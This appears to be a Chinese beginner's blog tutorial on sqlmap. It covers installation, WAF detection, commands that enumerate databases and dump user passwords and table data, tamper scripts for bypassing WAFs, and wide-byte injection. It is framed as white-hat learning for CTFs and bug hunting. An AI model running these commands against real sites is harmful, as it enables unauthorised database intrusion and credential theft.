SQLmap简单的使用——新手教程解析
你好哇!今天给大家介绍一款白帽子工具。他就是号称"数据库的克星"——SQLmap。
SQLmap解析
- 学习须知:
- 一、sqlmap的安装与操作?(window与linux)
- 1.windows版
- 2.linux版
- 二、使用步骤
- 1.简单的探测WAF
- 2.初步学习的使用sqlmap命令
- 3.简单的使用tamper脚本绕过WAF
- 补充:宽字节注入:
学习须知:
在21世纪的网络空间中,各大互联网巨头通过各种数据库泄露情报的事件都屡见不鲜。我们如何才能很完美的保护我们的数据不被泄呢?这次解析将带你领悟数据库安全的知识海洋,让你明白数据库安全的重要性。让大家不再害怕。通过学习攻击技术,知道数据库的弱点,使我们自己搭建的网站走向正确的安全的道路。你可以学习到攻击者是如何盗走我数据库中的数据的?攻击者会根据不同的情况选择不同的的攻击方案的?应该怎么防止黑客出其不意地攻击的?你应该可以在本次解析中找到属于他们的答案。也可以通过这次的解析讲解,让你成为一个合格的"白帽子"。
提示:文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请您自负。
一、sqlmap的安装与操作?(window与linux)
1.windows版
首先:需要安装Python 2.7.18版的环境(个人建议下载到liunx虚拟机中)。原因是sqlmap是由python2版本写的,可能对自己电脑上的python3版本的pip库造成影响。
其次:找到sqlmap官网下载windows版本
最后:cmd命令:python sqlmap.py --后接命令 (注意与linux上的区别)
2.linux版
建议下载kali linux(因为kali自带sqlmp环境与工具);如果是ubantu(该系统自带2.7版本,但不带python3版本),则需要去sqlmap官网下载liunx版本。
最后:cmd命令:sqlmap --后接命令 (注意与windows上的区别)
二、使用步骤
1.简单的探测WAF
根据经验大部分网站都存在防火墙,所以我们可以所以sqlmap对Web网站进行WAF识别。方便我们使用不同的方式绕过不同种类的WAF鉴定基础。代码如下图所示:
windows版本:
python sqlmap.py -u "https://www.baidu/" --identify-waf --batch
linux版本:
sqlmap -u "https://www.baidu/" --identify-waf --batch
--identify-waf(这个就是探测WAF的命令)
2.初步学习的使用sqlmap命令
代码如下所示:(都以kali liunx版为主,windows版注意一下语法变化)
1.sqlmap -u http://www.baidu –dbs -v 1 //获取所有数据库
2.sqlmap -u http://www.baidu -f -b –current-user –current-db -v 2 //获取当前用户的数据库版本
3.sqlmap -u http://www.baidu –is-dba -U 用户名 -v 3 //获取本数据库用户权限
4.sqlmap -u http://www.baidu –users –passwords -v 4 //获得所有数据库用户或指定数据库用户的密码
5.sqlmap -u http://www.baidu –tables -D mysql -v 5//获取指定数据库中的所有表
6.sqlmap -u http://www.baidu/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 6 //获取指定数据库中指定表中的指定字段的数据
7.sqlmap -u http://www.baidu –columns -D mysql -T users -v 7 //获得指定数据库中指定表中的字段
掌握这些就足以应付一些简单的漏洞挖掘和比赛了。
3.简单的使用tamper脚本绕过WAF
脚本有很多,这里取一些代表性的展示,如果有兴趣可以自己慢慢研究。(a):通过加密sql语句达到绕过目的:
apostrophemask.py 脚本的作用是用引号加密utf-8绕过
equaltolike.py脚本的作用是用等号加密like饶过
base64encode.py脚本的作用是base64加密sql语句绕过
(b):通过替换sql语句中的符号饶过
脚本名:greatest.py的作用是绕过过滤’>’ ,并且用GREATEST替换大于号。
space2hash.py脚本的作用是空格替换为#号 随机字符串 以及换行符
apostrophenullencode.py脚本的作用是绕过过滤双引号,替换字符和双引号。
space2morehash.py脚本的作用是空格替换为 #号 以及更多随机字符串 换行符
(c):使用unmagicquotes.py脚本对MySQL进行宽字节注入
eg:sqlmap.py -u “xxx?id=xx” --tamper unmagicquotes.py --dbs
补充:宽字节注入:
宽字节注入的原理是利用Mysql数据库的一个bug,即使用GBK编码时,系统会误以为两个字符是一个汉字。
# 总结 最后我想给大家分享一下我的看法,虽然作为新手来说,sqlmap的入门难点是:模块丰富,参数多样,英文说明。但是它的优点同样出众:脚本充足,自动化高,搭配灵活。所以我希望我的解析能对你们有所帮助。我相信你如果掌握sqlmap的使用方法后,一定可以在CTF比赛和漏洞挖掘更上一层楼。
更多推荐
SQLmap简单的使用——新手教程解析
发布评论